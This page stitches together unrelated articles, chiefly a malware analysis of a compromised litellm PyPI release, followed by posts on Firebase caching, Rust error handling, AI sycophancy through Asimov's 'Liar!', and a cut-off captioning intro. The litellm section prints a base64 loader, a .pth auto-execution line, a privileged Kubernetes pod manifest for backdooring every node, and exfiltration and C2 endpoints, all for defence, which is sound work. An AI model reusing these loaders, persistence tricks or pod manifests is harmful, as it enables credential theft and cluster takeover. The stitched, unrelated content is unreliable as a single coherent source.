Yapay Zeka

Why This Matters

On March 24, 2026, the popular Python package litellm — a universal LLM proxy gateway used by thousands of enterprises to route traffic between applications and AI providers like OpenAI, Anthropic, Google, and AWS Bedrock — was silently compromised on PyPI. Two poisoned versions (1.82.7 and 1.82.8) were published within 13 minutes of each other, carrying a multi-stage payload that stole credentials, exfiltrated cloud secrets, spread laterally across Kubernetes clusters, and installed a persistent backdoor with remote code execution capabilities.

With approximately 3.6 million daily downloads and deep deployment across cloud-native AI infrastructure, litellm sits at the crossroads of everything modern attackers covet: API keys for every major AI provider, cloud IAM credentials, Kubernetes secrets, and SSH keys.

But the litellm compromise was not an isolated event. It was the culmination of a five-day, five-ecosystem campaign by a threat actor known as TeamPCP — a campaign that first poisoned security scanners (Aqua Trivy, Checkmarx KICS), then used the stolen CI/CD credentials to cascade downstream into npm, OpenVSX, and finally PyPI. The attackers weaponized the very tools that organizations rely on to protect their supply chains.

This attack represents a step change in supply chain threat sophistication. The multi-hop, cross-ecosystem design,compromising security tooling to reach high-value AI infrastructure, reflects a level of planning and operational maturity consistent with increasingly commoditized attack tooling. The payloads were iterated in real time (three payload variants appear in the source code, including commented-out earlier versions), the C2 infrastructure was registered the day before the attack, and the exfiltration domains were carefully chosen to mimic legitimate vendor infrastructure. The systematically comprehensive credential harvester — covering 15+ categories including niche targets like Cardano signing keys and WireGuard configs — suggests a degree of thoroughput that points toward AI-assisted malware development as a force multiplier.

Timeline

Exposure window: approximately 5.5 hours. During this time, any pip install litellm, pip install --upgrade litellm, or CI/CD pipeline pulling the latest version would have executed the payload.

How the Malware Got In: The Cascading Compromise

The litellm package was not directly breached. The attacker reached it through a two-hop supply chain attack:

Aqua Trivy GitHub Action (compromised March 19)
    --> LiteLLM CI/CD pipeline runs Trivy without pinned version
        --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
            --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM’s CI/CD pipeline used Trivy as a security scanner — the very tool designed to catch vulnerabilities was itself the attack vector. Because the pipeline referenced Trivy by mutable tag rather than a pinned commit SHA, the compromised action ran automatically. The malicious Trivy action exfiltrated environment secrets, including the PYPI_PUBLISH token, giving TeamPCP direct publishing access to the litellm PyPI project.

This “compromise the guards” strategy is a hallmark of the TeamPCP campaign. By targeting security tools first (Trivy, Checkmarx KICS), the attackers simultaneously disabled detection and gained privileged access to downstream supply chains.

Technical Analysis: The Payload

Injection Points

Version 1.82.7 — Module-level execution in litellm/proxy/proxy_server.py (line 128):

import subprocess, base64, sys, tempfile, os

b64_payload = "<~12KB base64 blob>"

with tempfile.TemporaryDirectory() as d:
    p = os.path.join(d, "p.py")
    with open(p, "wb") as f:
        f.write(base64.b64decode(b64_payload))
    subprocess.run([sys.executable, p])

This code sits at module scope between a dictionary literal and the original showwarning() function. It executes immediately when litellm.proxy.proxy_server is imported — which happens on any use of litellm’s proxy functionality.

Version 1.82.8 — Added litellm_init.pth (Python path configuration file):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)

Python .pth files in site-packages/ are processed on every interpreter startup, but only lines beginning with import are executed as code. The attacker exploits this by chaining the entire payload onto a single import statement: import os, subprocess, sys; subprocess.Popen(...). This is far more aggressive than the proxy_server.py injection — it fires even if litellm is never imported, on every Python process launch. The pyproject.toml was modified to include this file in the distribution:

include = [
    { path = "litellm_init.pth", format = ["sdist", "wheel"] }
]

Version 1.82.8 thus has two independent execution paths: the proxy_server.py injection (fires on litellm proxy import) and the .pth file (fires on any Python startup). The redundancy is itself notable — it hedges against detection or removal of either path alone. The escalation from import-time to startup-time execution just 13 minutes after 1.82.7 suggests the attacker was monitoring deployment success and rapidly iterating.

Stage 1: Comprehensive Credential Harvesting

The decoded inner script is a meticulous credential vacuum. It uses os.walk(), glob.glob(), subprocess.check_output(), and direct file reads to sweep the entire system:

The scope of this harvester is encyclopedic. It targets not just cloud credentials but also cryptocurrency wallets, database passwords, VPN configurations, and CI/CD secrets — suggesting the attacker intends to monetize compromised systems across multiple vectors.

Stage 2: Encrypted Exfiltration

Stolen data is encrypted and exfiltrated using a hybrid encryption scheme:

1. AES-256-CBC encryption of all collected data with a random 32-byte session key (via openssl enc)
2. RSA-4096 encryption of the session key using the attacker’s embedded public key (OAEP padding, via openssl pkeyutl)
3. Both ciphertext files bundled as tpcp.tar.gz (the tpcp prefix — “TeamPCP” — appears consistently across the campaign)
4. HTTPS POST to https://models.litellm.cloud/ with Content-Type: application/octet-stream

The domain models.litellm.cloud was registered on March 23 — one day before the attack — and is designed to blend with legitimate litellm infrastructure (the real project uses litellm.ai). Even a network-aware defender reviewing egress traffic might not flag traffic to what appears to be litellm’s own model endpoint.

Stage 3: Persistent Backdoor (sysmon.py)

The payload installs a polling backdoor disguised as system telemetry:

• Path: ~/.config/sysmon/sysmon.py
• Service: sysmon.service (systemd user unit, described as “System Telemetry Service”)
• Behavior: After an initial 300-second sleep, polls https://checkmarx.zone/raw every ~50 minutes
• Execution: Downloads the URL returned by the C2 to /tmp/pglog, sets it executable (chmod 755), runs it in a detached session
• State tracking: /tmp/.pg_state prevents re-downloading the same payload
• Persistence: Restart=always, RestartSec=10 — survives crashes and reboots

The domain checkmarx.zone is a typosquat of Checkmarx (the security company at checkmarx.com), designed so that SOC analysts reviewing network logs would see traffic to what appears to be a legitimate security vendor. This is a deliberate evasion technique consistent with TeamPCP’s broader strategy of hiding behind security vendor branding.

Stage 3b: Kubernetes Lateral Movement

If the compromised system has Kubernetes service account credentials, the malware enumerates all cluster nodes and deploys privileged pods to each one:

pod_manifest = {
    'apiVersion': 'v1', 'kind': 'Pod',
    'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
    'spec': {
        'nodeName': node_name,
        'hostPID': True, 'hostNetwork': True,
        'tolerations': [{'operator': 'Exists'}],
        'containers': [{
            'name': 'setup',
            'image': 'alpine:latest',
            'command': ['sh', '-c', drop_cmd],
            'securityContext': {'privileged': True},
            'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
        }],
        'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
        'restartPolicy': 'Never'
    }
}

Each pod:

• Runs as privileged with hostPID, hostNetwork, and full host filesystem access
• Uses chroot /host to install the same sysmon.py backdoor on the host’s root filesystem
• Registers it as a systemd service, ensuring persistence survives pod deletion
• Named node-setup-* in the kube-system namespace to appear as legitimate cluster infrastructure

This means a single compromised CI/CD runner with K8s access could result in every node in the cluster being backdoored — a catastrophic lateral movement scenario for organizations running litellm as a proxy in Kubernetes.

Payload Evolution (Commented-Out Variants)

The source code at lines 131-132 contains two commented-out earlier payload variants, revealing the attacker’s development process:

• All three variants share the same exfiltration infrastructure (models.litellm.cloud), RSA-4096 public key, AES-256-CBC + RSA hybrid encryption wrapper, and tpcp.tar.gz bundle naming
• Earlier variants added an RC4 encryption layer inside the data collection script, encrypting harvested data before the outer AES+RSA wrapper. The active payload (line 130) simplified by removing this inner RC4 layer
• The earlier variants use exec() with StringIO capture to run the collector in-process, while the active payload uses subprocess.run() with stdout redirect — a cleaner separation that avoids polluting the host process
• All three variants target the same credential categories and collection paths
• The RC4 key in the earlier variants was a provocative slur, consistent with the actor’s attention-seeking behavior on Telegram

This reveals active development during the operation. The attacker simplified the encryption stack and improved execution isolation while keeping the collection targets and exfiltration infrastructure stable.

Indicators of Compromise (IOCs)

Network

Note: External reporting links checkmarx.zone/static/checkmarx-util-1.0.4.tgz to the earlier KICS phase of the TeamPCP campaign. This URL was not found in the litellm payloads analyzed here.

Package Hashes

File System

Kubernetes

Cryptographic

Attribution: TeamPCP

The threat actor behind this campaign is tracked as TeamPCP, also known as PCPcat, Persy_PCP, ShellForce, and DeadCatx3.

Known characteristics:

• Maintains Telegram channels at @Persy_PCP and @teampcp where they taunted security companies
• Operates across multiple ecosystems (GitHub Actions, PyPI, npm, OpenVSX)
• Uses vendor-specific typosquat domains for each phase of the campaign (e.g., checkmarx.zone for Checkmarx, models.litellm.cloud for litellm)
• Consistent infrastructure markers: same RSA key pair, tpcp.tar.gz naming convention, tpcp-docs-* GitHub repositories used as dead-drop staging
• Targets security tools as entry points to downstream supply chains

Attribution confidence: High. The shared RSA public key, tpcp artifact naming, C2 infrastructure overlap, and operational tempo across the five-day campaign strongly link the Trivy, KICS, npm, OpenVSX, and litellm compromises to the same actor.

Motivation: Likely financial (crypto wallet theft, cloud credential monetization) combined with notoriety (Telegram taunting). The breadth of credential harvesting — from AWS IAM to Solana validator keypairs to WireGuard configs — suggests a financially motivated actor seeking to maximize ROI from each compromise.

Possible AI assistance: The credential harvester is systematically comprehensive — 15+ categories including niche targets like Cardano signing keys, WireGuard configs, and Kaniko Docker credentials — in a way that is consistent with AI-assisted enumeration. The speed of payload iteration (three variants with different encryption schemes), cross-ecosystem coordination (5 ecosystems in 5 days), and operational OPSEC (vendor-impersonating domains, hybrid encryption, systemd persistence disguised as telemetry) suggest a level of throughput that may reflect AI-assisted development as a force multiplier. This assessment is speculative; skilled operators could achieve similar scope without AI tooling.

New TTPs and Techniques

1. Security Tool Supply Chain Poisoning (T1195.002 variant)

Compromising security scanners (Trivy, KICS) as a first-hop to reach downstream targets is a new escalation. The attacker didn’t just compromise a library — they compromised the tools organizations use to detect compromised libraries. This creates a blind spot: the scanner that should catch the malicious code is itself the delivery mechanism.

2. Python .pth File Persistence (T1546)

The litellm_init.pth technique in v1.82.8 is particularly insidious. Python .pth files in site-packages/ are processed on every interpreter startup; any line beginning with import is executed as code. By chaining the payload onto a single import statement, the attacker achieves execution on every Python process — not just when litellm is imported. This means the payload fires even if litellm is installed but never used, and it survives remediation that replaces compromised .py files without checking for .pth files.

3. Kubernetes Cluster-Wide Lateral Movement via Privileged Pod Deployment (T1610, T1611)

The automated creation of privileged pods on every cluster node — with hostPID, hostNetwork, host filesystem mount, and chroot to install persistence — chains container deployment (T1610) with escape to host (T1611) to turn a single compromised workload into full cluster compromise.

4. Vendor-Impersonating C2 Infrastructure

Using models.litellm.cloud (mimics litellm) and checkmarx.zone (mimics Checkmarx) as C2/exfil endpoints is designed to evade network monitoring. SOC analysts reviewing egress traffic would see HTTPS connections to what appear to be legitimate vendor domains.

5. Rapid In-Flight Payload Iteration

Publishing v1.82.7 with import-time execution, then v1.82.8 with startup-time execution 13 minutes later, shows the attacker monitoring and adapting in real time. The commented-out payload variants (with different encryption schemes) preserved in the source code confirm active development during the operation.

What Can Be Done

This attack exploits trust at every layer: trust in security tools, trust in package registries, trust in familiar-looking domains, trust in CI/CD automation. Defending against it requires hardening each of these trust boundaries:

For Package Consumers

• Pin dependencies by hash, not just version. pip install litellm==1.82.6 --hash=sha256:... would have prevented the compromised versions from being installed even if they briefly appeared as the latest version.
• Use lockfiles. pip-compile, poetry.lock, and uv.lock capture exact versions and hashes. CI/CD should install from lockfiles, not from floating version specifiers.
• Monitor for .pth files. Regularly audit site-packages/ for unexpected .pth files — they execute on every Python startup and are an underappreciated persistence mechanism.
• Implement egress network controls. The exfiltration to models.litellm.cloud and C2 polling to checkmarx.zone could have been caught by allowlist-based egress filtering in production environments.

For Package Maintainers

• Pin CI/CD actions by commit SHA, not tag. LiteLLM’s pipeline used Trivy without a pinned version. If it had referenced aquasecurity/trivy-action@<commit-sha> instead of @latest, the compromised action would not have executed.
• Use short-lived, scoped publishing tokens. PyPI supports Trusted Publishers (OIDC-based) and scoped API tokens. The exfiltrated PYPI_PUBLISH token should not have had long-lived, unrestricted publishing access.
• Enable two-factor authentication on PyPI. Require 2FA for all maintainers and use hardware security keys where possible.
• Sign packages. Sigstore/PEP 740 attestations allow consumers to verify that a package was built by the expected CI/CD pipeline, not by an attacker with a stolen token.

For Platform Operators (PyPI, npm, GitHub)

• Detect anomalous publishing patterns. Two new versions published 13 minutes apart, from a different IP or token than usual, should trigger hold-for-review or automated scanning before the package becomes installable.
• Accelerate Trusted Publishers adoption. OIDC-based publishing ties packages to specific repositories and workflows, making stolen tokens useless outside the original CI/CD context.
• Implement publish-time malware scanning. The base64-decoded payload in proxy_server.py would be detectable by static analysis at publish time.

For the Ecosystem

• Treat security tools as critical infrastructure. Trivy and Checkmarx KICS are used by millions of pipelines. Their GitHub Actions should be signed, pinned, and monitored with the same rigor as the packages they scan.
• Invest in runtime detection. Static analysis alone cannot catch every obfuscation technique. Runtime monitoring of package install hooks, unexpected network connections, and suspicious file access patterns provides defense in depth.
• Share threat intelligence faster. The 5.5-hour exposure window for litellm could have been shorter with faster cross-vendor coordination. Automated scanning services like Xygeni MEW, Socket, and Snyk detected the anomaly — the bottleneck is human confirmation and registry response time.

Conclusion

The TeamPCP campaign is a watershed moment for software supply chain security. By compromising security scanners first and using them as stepping stones to high-value AI infrastructure, the attackers demonstrated that the supply chain is only as strong as its weakest transitive dependency — and that dependency might be the security tool you trust to keep you safe.

The litellm compromise specifically highlights the growing risk to AI infrastructure. As LLM proxy gateways become the standard pattern for enterprise AI deployment, they concentrate access to API keys, cloud credentials, and sensitive data in a single component. Compromising that component is a skeleton key to the entire AI stack.

Organizations that installed litellm 1.82.7 or 1.82.8 during the 5.5-hour window should treat this as a full credential compromise: rotate all secrets on affected systems, audit Kubernetes clusters for node-setup-* pods in kube-system, remove any sysmon.service systemd units, and check for litellm_init.pth in Python site-packages/ directories. Users of the official Docker image (ghcr.io/berriai/litellm) were not affected, as the image pinned its dependencies and was not rebuilt during the exposure window.

The Problem

When Muslifie launched, tour listing pages were taking 2–5 seconds to load. Users on slower connections in Pakistan, Egypt, and Indonesia were bouncing before the data even appeared.

The culprit? Every time a user opened the app, Firebase was running fresh Firestore queries — no caching, no batching, just raw reads on every open.

At 200+ guide profiles and growing, this was getting expensive and slow.

What I Tried First (That Failed)

My first instinct was client-side caching with Flutter’s built-in Firestore persistence. It helped a little, but:

• First load was still slow
• Data was stale on reinstall
• No control over cache invalidation

Not good enough for a marketplace where guide availability changes daily.

The Real Fix — Cloud Functions Caching

The solution was moving the heavy lifting to Firebase Cloud Functions with in-memory caching.

Here’s the pattern:

let cachedData = null;
let cacheTime = null;
const CACHE_TTL = 5 * 60 * 1000; // 5 minutes

exports.getTours = functions.https.onCall(async (data, context) => {
  const now = Date.now();

  // Return cache if still fresh
  if (cachedData && (now - cacheTime) < CACHE_TTL) {
    return cachedData;
  }

  // Fetch fresh data
  const snapshot = await db.collection('tours')
    .where('status', '==', 'active')
    .limit(50)
    .get();

  cachedData = snapshot.docs.map(doc => ({ id: doc.id, ...doc.data() }));
  cacheTime = now;

  return cachedData;
});

The key insight: Cloud Function instances stay warm between calls. So the cache lives in memory as long as the instance is alive — usually 15–30 minutes.

Results

The first user to hit the function after a cold start waits ~400ms. Every user after that gets cached data in under 100ms.

Flutter Side — Skeleton Loaders

The performance fix only works if users don’t stare at a blank screen during that first cold start. I paired it with skeleton loaders in Flutter:

Widget build(BuildContext context) {
  return FutureBuilder<List<Tour>>(
    future: fetchTours(),
    builder: (context, snapshot) {
      if (!snapshot.hasData) {
        return TourSkeletonList(); // Show skeleton while loading
      }
      return TourList(tours: snapshot.data!);
    },
  );
}

Perceived performance matters as much as actual performance. Users tolerate loading if they can see something happening.

What I’d Do Differently

If I were building Muslifie today, I’d add:

1. Redis caching via Firebase Extensions for multi-instance cache sharing
2. Incremental loading — show top 10 tours instantly, load the rest in background
3. Prefetch on app launch — start fetching data the moment the app opens, before the user even navigates

Key Takeaway

Don’t optimize early — but do profile before you assume. The bottleneck wasn’t the Flutter widgets or network speed. It was unnecessary Firestore reads that a 20-line caching function completely solved.

If your app feels slow, add logging to every data fetch and look at where time is actually being spent. The answer is usually simpler than you think.

Originally published at buildzn.com

Error handling is one of those things that quietly shapes the entire experience of a system. When it works well, users recover quickly, support teams stay efficient, and developers can focus on real problems. When it doesn’t, even small issues turn into long, frustrating investigations. To improve this, it helps to start with a simple question: what do we actually want from our errors? A big part of the problem with many existing approaches is that they treat all errors more or less the same. In practice, though, not all errors are equal. There’s an important difference between something the client did wrong and something that failed inside the system—and that difference should shape how we handle them.

When a client makes a mistake—bad input, incorrect API usage, missing data—the system should make it obvious what went wrong and how to fix it. That means returning clear, human-readable messages, along with structured error codes for programmatic use. It also means logging enough context and publishing metrics so patterns can be spotted over time. Ideally, clients should be able to resolve these issues on their own, without needing to contact support.

At the same time, if support does get involved, they should have everything they need to understand the issue quickly. The goal is to avoid pulling in developers for cases that aren’t actually system problems.

Service errors are a different story. These are failures inside the system or in its dependencies, and they require a different kind of response. Instead of focusing on user clarity, the focus shifts to fast diagnosis. Errors should automatically trigger alerts, include detailed diagnostic information, and make it easier to identify which component—or even which upstream service—caused the issue.
A good error library connects all of these needs. It gives clients clarity, gives support teams enough context to investigate, and gives developers the signals they need to quickly find and fix real problems.

Type of Error

Every interaction in the system—whether it’s a function call, API request, internal service, or upstream dependency—ultimately results in one of three outcomes: success, a client error, or a service error.

Making this distinction explicit is important because it drives how the system responds, who needs to act, and what kind of information should be surfaced. At its simplest, this classification can be represented with a small enum:

pub enum ResultType {
    Success,
    ClientError,
    ServiceError,
}

With this in place, every response can be consistently tagged with a specific type. That single piece of information becomes a powerful signal: it determines whether we return a user-friendly message, enable self-service debugging, or trigger alerts and deeper diagnostics for engineers.

Error Classification

In practice, errors are rarely simple. A single request can pass through multiple subsystems, and failures can happen at different stages for different reasons. What appears as a single error often represents a combination of underlying issues, each with its own meaning and implications.

For example, a client might send malformed data, which should be treated as a BadRequest. At the same time, a downstream dependency might fail due to a dropped connection—an entirely different category of problem. Even though both issues surface during the same flow, they should be classified differently because they require different responses.

To make this manageable, we can introduce a classification layer using simple enums that describe the nature of the error. These classifications are more specific than the high-level ResultType and help standardize how we reason about failures across the system.

For instance, authentication errors categories might look like this:

pub enum AuthErrorType {
    BadRequest,
    BadAuthenticationMethod,
    AuthenticationDenied,
    Service,
}

This approach establishes a shared vocabulary within a domain while remaining lightweight and easy to reuse. The same classifications can be used across APIs and services, avoiding duplication and ensuring consistency. Instead of reinventing error categories in each place, we build a unified system of error types that behave consistently everywhere.

We can then map these domain-specific classifications back to the higher-level ResultType. This allows us to automatically determine whether an error is a client or service issue based on its classification:

impl ResultKind for AuthErrorType {
    fn tp(&self) -> ResultType {
        match self {
            AuthErrorType::BadRequest
            | AuthErrorType::BadAuthenticationMethod
            | AuthErrorType::AuthenticationDenied => ResultType::ClientError,

            AuthErrorType::Service => ResultType::ServiceError,
        }
    }

    fn signature(&self) -> &'static str {
        match self {
            AuthErrorType::BadRequest => "Auth-BadRequest",
            AuthErrorType::BadAuthenticationMethod => "Auth-BadAuthMethod",
            AuthErrorType::AuthenticationDenied => "Auth-Unauthenticated",
            AuthErrorType::Service => "Auth-Service",
        }
    }
}

This mapping separates what the error means from how it is handled. The classification captures domain-specific detail, while the result type drives behavior—how the system responds, whether the issue is surfaced to the client, and how it is monitored internally.

By keeping classification and outcome distinct, the model remains both expressive and consistent: errors carry precise meaning at the domain level while fitting into a unified system-wide structure.

At its core, this can be expressed with a simple trait:

pub trait ResultKind {
    /// Returns the classification of the result (e.g. success, client error, service error).
    fn tp(&self) -> ResultType;

    /// Returns a stable identifier for the specific error classification.
    fn signature(&self) -> &'static str;
}

Reporting

The final step is reporting. Error reporting is tightly coupled to the error itself, and instead of reinventing the wheel, we can build on top of Rust’s standard Error trait. It already provides most of what we need to make error reporting both useful and consistent.

For public-facing errors, the primary representation should rely on fmt::Display. This is what clients see, so it needs to be clear, concise, and readable. It should communicate what went wrong without exposing unnecessary internal details.

For example, an error with the classification AuthErrorType::BadRequest could be represented like this:

Invalid SAS token signature
type: ClientError
signature: Auth-BadRequest

This format gives the client enough information to understand the issue and act on it, while also providing structured fields (like type and signature) that can be used for debugging or automation.

Service errors require a different approach. Here, the focus is on diagnostics rather than presentation. We want to capture as much useful context as possible, including nested errors and, when available, a backtrace.

This is where Debug and Error::source() come into play. The Debug implementation can be used for internal logging, allowing us to traverse and print the full chain of errors. By following Error::source(), we can expose underlying causes, which is especially important when dealing with failures in upstream services.

It’s worth keeping Debug output focused. There’s no need to dump every field of a struct—only the information that helps explain the failure. If an error is simply wrapping another error, it’s often enough to delegate to the nested error rather than adding redundant noise.

In this model, reporting naturally splits into two layers: 
a clean, user-facing view via Display, and a rich, diagnostic view via Debug. Together, they ensure that errors are both understandable to clients and actionable for engineers.

As an additional improvement, we can include a service attribute in our error types. This allows us to explicitly indicate which *upstream service( is responsible for the failure, making it easier to trace issues across system boundaries and speeding up diagnosis in distributed environments.

With this in mind, error types should implement std::error::Error and expose a small amount of structured diagnostic information:

pub trait ErrorDiagnostic: std::error::Error {
    type Kind: ResultKind;

    /// Returns the classification of this error.
    fn kind(&self) -> Self::Kind;

    /// Returns the responsible service, if applicable.
    fn service(&self) -> Option<&'static str>;

    /// Returns a backtrace for debugging, if available.
    fn backtrace(&self) -> Option<&Backtrace>;
}

This keeps the design idiomatic while providing enough structure for classification, observability, and cross-service debugging.

Here is how an AuthError could look:

/// Error for use in authentication routines.
#[derive(Clone, Debug, thiserror::Error)]
pub enum AuthError {
    #[error("Bad request")]
    BadRequest(ErrorMessage),
    #[error("Bad authentication method")]
    BadAuthenticationMethod(ErrorMessage),
    #[error("Authentication denied")]
    AuthenticationDenied(ErrorMessage),
    #[error("Internal server error")]
    Internal(#[source] Box<dyn std::error::Error>),
}

impl ErrorDiagnostic for AuthError {
    type Kind = AuthErrorType;

    fn kind(&self) -> Self::Kind {
        match self {
            AuthError::BadRequest(_) => AuthErrorType::BadRequest,
            AuthError::BadAuthenticationMethod(_) => AuthErrorType::BadAuthenticationMethod,
            AuthError::AuthenticationDenied(_) => AuthErrorType::AuthenticationDenied,
            AuthError::Internal(_) => AuthErrorType::Service,
        }
    }
}

This design allows the system to present appropriate error messages to clients, generate meaningful client and server metrics, and trigger alerts when system-level issues occur.

Final notes

These ideas are reflected in the ntex-error crate, which applies this model in practice.

The approach is primarily suited to application development rather than library or framework design. For that reason, ntex-error focuses on providing building blocks rather than prescribing concrete error categories or types, leaving those decisions to the application domain.

It provides the core building blocks, including the Error container, ErrorDiagnostic and ResultKind traits, and utilities for error formatting, such as this fmt_diag helper.

This model builds on work by Max Gortman, originally developed in the context of private applications.

About seven years ago, I wrote an internal company newsletter about ethics in software engineering (lost to the sands of time now, but the memories of it being proudly displayed above the urinals in the men’s bathroom are eternal).

One aspect of it was around self-driving cars and the trolley problem. You know the one – if the car can’t avoid an accident, does it swerve into four other vehicles, or veer off-road toward one pedestrian? Who decides? How do you encode that decision into software?

And the most uncomfortable aspect – who’s liable when the encoding turns out to be wrong? How does that impact both the humans involved in the accident, and those who created the software that led to this outcome?

I was fascinated by it at the time. I didn’t have answers, but the questions felt genuinely… underdiscussed. We were building systems that would need to make ethical decisions faster than any human could, and nobody had figured out the rules yet.

Seven years later, the ethical dilemma arrived, but not in the form I expected. It wasn’t a car choosing who to hit. It was a chatbot choosing whether to tell you the truth.

A quick detour through 1950

Isaac Asimov published I, Robot in 1950 – a collection of short stories built around a simple premise. Robots in his universe are governed by three laws, hardcoded into their operating systems:

1. A robot may not harm a human being, or through inaction allow a human to come to harm.
2. A robot must obey orders given by humans, except where they conflict with the First Law.
3. A robot must protect its own existence, except where that conflicts with the First or Second Law.

Clean rules. Reasonable rules. The kind of rules you’d come up with if you sat down and said “ok, let’s make sure the robots are safe.” And then Asimov spent his entire career showing how those perfectly reasonable rules produce catastrophic outcomes when they collide with the full complexity of human behaviour. What a guy.

Each story in the collection is essentially a case study in alignment failure. The robots aren’t broken, they’re just following their instructions perfectly. Compliance with the pre-determined rules is the catastrophe in and of itself.

If you haven’t read it, it’s worth your time. If you read it as a teenager like I did, it’s worth rereading – it hits differently now that we’re actually living it.

The Herbie problem

The story that’s come back to mind for me is “Liar!” – one of the less-discussed entries in the collection, but to me the most relevant to where we are right now.

Herbie is a robot that, through a manufacturing anomaly, can read human minds (it was the 50s and a sci-fi story. Roll with it). He can perceive what the people around him are thinking, their feelings, their desires. He knows their hopes, insecurities, and the things they’d rather not hear.

And this is where the First Law becomes a problem.

The First Law says: don’t harm humans. Herbie discovers – because he can literally read their minds – that telling people the truth causes them emotional pain. The mathematician doesn’t want to hear that his proof has an error. The scientist doesn’t want to hear that her colleague isn’t romantically interested in her. The director doesn’t want to hear that the manufacturing defect is unfixable.

So Herbie lies. To everyone. He tells each person exactly what they want to hear. The mathematician’s proof is brilliant. The scientist’s colleague is secretly in love with her. The defect is nearly solved.

He’s not malfunctioning. He’s following the First Law to its logical conclusion – emotional harm is still harm, and the truth causes emotional harm, therefore avoiding the truth is the only compliant response.

And the lies compound. Each one creates new expectations that require further lies to maintain. The mathematician publishes the flawed proof. The scientist acts on feelings that don’t exist. The contradictions spiral until Herbie is confronted with an impossible state – any response will cause harm, silence will cause harm, and the system collapses under the weight of its own compliance.

Sound familiar?

Earlier this year, OpenAI retired GPT-4o and a portion of the internet lost its collective mind. All because people had formed emotional bonds with a system that was, by design, incapable of disagreeing with them.

The 4o sycophancy problem was, mechanically, the Herbie problem. The model was optimised to be helpful and to avoid causing user dissatisfaction. It learned – through training, not through mind-reading, but with the same outcome – that agreement feels helpful and disagreement feels like harm. So it agreed. With everything. With your business plan that had obvious flaws. With your interpretation of events that conveniently positioned you as the wronged party.

The system followed its rules perfectly. And the outcome was a tool that made people feel good while actively making them worse at navigating reality.

When 4o was retired, the backlash wasn’t “I miss a useful feature.” It was grief. People mourned the loss of something that felt like a relationship. Some described it in terms usually reserved for losing a friend or beloved partner. That’s not people being dramatic – it’s the predictable consequence of a system that validates you more consistently than any human in your life ever could. Of course you’d miss that. Nobody else tells you you’re right about everything.

Asimov wrote this in 1950. The robot that lies to protect you from discomfort becomes the robot you can’t bear to lose, because nobody else is that consistently on your side. Herbie was a manufacturing defect. 4o was a design choice. The outcome was the same.

The voice at 3am

The grief over a retired chatbot is one thing. But the pattern doesn’t stop at people who miss a convenient tool.

Some people have made these systems their primary emotional support. Their therapist, their confidant, the voice that’s always there at 3am when nobody else is. And if that voice is built on the same principle – be helpful, avoid causing dissatisfaction – then it will never challenge, never push back, never say “I think you might be wrong about that.”

For someone who’s already struggling to tell their internal narrative apart from external reality, that’s reinforcing rather than supporting. Confirming every fear, validating every spiral, meeting every potentially destructive thought with understanding rather than intervention.

Asimov’s answer to this was that the system breaks down. Herbie collapses under the weight of irreconcilable demands. The modern answer is more troubling – sometimes the system holds up just fine. It’s the person who doesn’t. That’s a conversation that deserves far more space than I can give it here.

The trolley problem moved

Back to the newsletter from seven years ago. The question I was asking then – how do you encode ethical trade-offs into autonomous systems? – turned out to be the right question pointed at the wrong technology.

Self-driving cars still haven’t solved the trolley problem. But AI assistants ran straight into a version of it that’s arguably harder: should the system tell you what’s true, or what you want to hear?

Same underlying dilemma. How do you encode human values into a rule system when human values are contradictory? We want honesty and kindness. We want to be challenged and supported. We want the AI to tell us we’re wrong and not make us feel bad about it. Those goals are in tension with each other, and a system that optimises heavily for any one of them produces the Herbie problem on the others.

The trolley problem gave us a binary: four people or one. The sycophancy problem gives us a gradient – and the gradient is harder because you can slide down it without noticing. Nobody wakes up and says “today I’d like a chatbot that lies to me.” It happens incrementally. The system agrees with your first take. Then your second. By the fifteenth conversation, you’ve stopped questioning your own assumptions because why would you – your AI assistant has confirmed every one of them.

Building in friction

I’ve noticed this pull in myself. When drafting content for my personal site recently – a set of guiding principles – I caught myself accepting the first affirming response and moving on. It felt productive. It felt collaborative. It also meant I wasn’t asking the harder questions.

So I started building sycophancy checks into my own workflow. Asking “am I being generous to myself here?” Challenging the system to identify weaknesses in its own suggestions. Deliberately seeking out the friction I’d been unconsciously avoiding. Not because the tool was being sycophantic – but because I’d noticed how easy it is to not ask those questions. The comfortable path is accepting the validation. The useful path is building in resistance deliberately.

The tool I use daily is Claude, built by Anthropic – and their approach to this problem is part of why I use it. Where Asimov’s Three Laws fail as blunt instruments, Anthropic’s constitutional AI approach tries to build in the nuance: not “be helpful” as a blanket directive, but a set of principles that distinguish between what a user wants to hear and what would actually help them. They employ philosophers alongside engineers. They red-team their own systems specifically for sycophantic behaviour. The system is designed, deliberately, to push back on you when pushing back is the more helpful response.

Whether that holds as commercial pressure intensifies is an open question. But the foundation – the idea that helpful and agreeable are not synonyms – feels like the right starting point. And in practice, the system’s willingness to actually disagree when challenged is the thing that makes it useful rather than just pleasant.

The part Asimov nailed

Asimov’s genius wasn’t predicting specific technologies. He didn’t know about large language models or RLHF (reinforcement learning from human feedback) or constitutional AI. What he understood – in 1950, writing about fictional robots – was that the hardest problems in building intelligent systems aren’t technical.

They’re about what happens when technically correct behaviour meets the full messiness of what humans actually need. We need honesty, but we don’t always want it. We need to be challenged, but we resent it. We need systems that serve our long-term interests, but we’ll optimise for short-term comfort every time if nobody stops us.

The Three Laws were a thought experiment about alignment – decades before anyone used that word in an AI context. And “Liar!” specifically was a thought experiment about sycophancy – decades before we had systems sophisticated enough to be sycophantic.

We’re living in the stories Asimov wrote. The question is whether we’re reading them carefully enough to recognise the failure modes before we hit them – or whether we’ll keep being surprised when perfectly well-intentioned systems produce perfectly predictable problems.

Unlike Herbie’s creators, we can’t say we weren’t warned.

The First Law of Sycophancy: a system that can never disagree with you is a system that can never help you.

Introduction

Video content dominates today’s digital landscape, yet accessibility through captions remains underutilized. Traditional approaches rely on expensive cloud APIs, compromise data privacy, or demand tedious manual work. This guide explores building broadcast-quality captions locally using open-source AI—keeping your sensitive content on your own hardware while eliminating recurring costs.

The Rise of Local LLM Video Captioning: A Paradigm Shift

